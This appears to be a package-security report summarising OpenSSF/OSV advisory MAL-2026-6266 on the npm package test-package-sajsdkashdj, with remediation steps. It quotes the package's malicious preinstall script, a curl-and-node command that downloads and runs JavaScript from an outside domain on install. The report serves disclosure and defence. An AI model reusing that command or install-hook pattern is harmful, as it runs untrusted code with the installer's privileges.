test-package-sajsdkashdj
This report shows the evidence for test-package-sajsdkashdj@2.1.7. 2 of 2 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6266 confirms this npm version as malicious.
Advisory
MAL-2026-6266
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in test-package-sajsdkashdj (npm)
Details
package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to test-package-sajsdkashdj@2.1.7.
The same advisory and Firewall decision cover 2 recorded versions
2.1.6, 2.1.7
The versions list below shows the verdict for each recorded version.
- Avoid installing test-package-sajsdkashdj@2.1.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.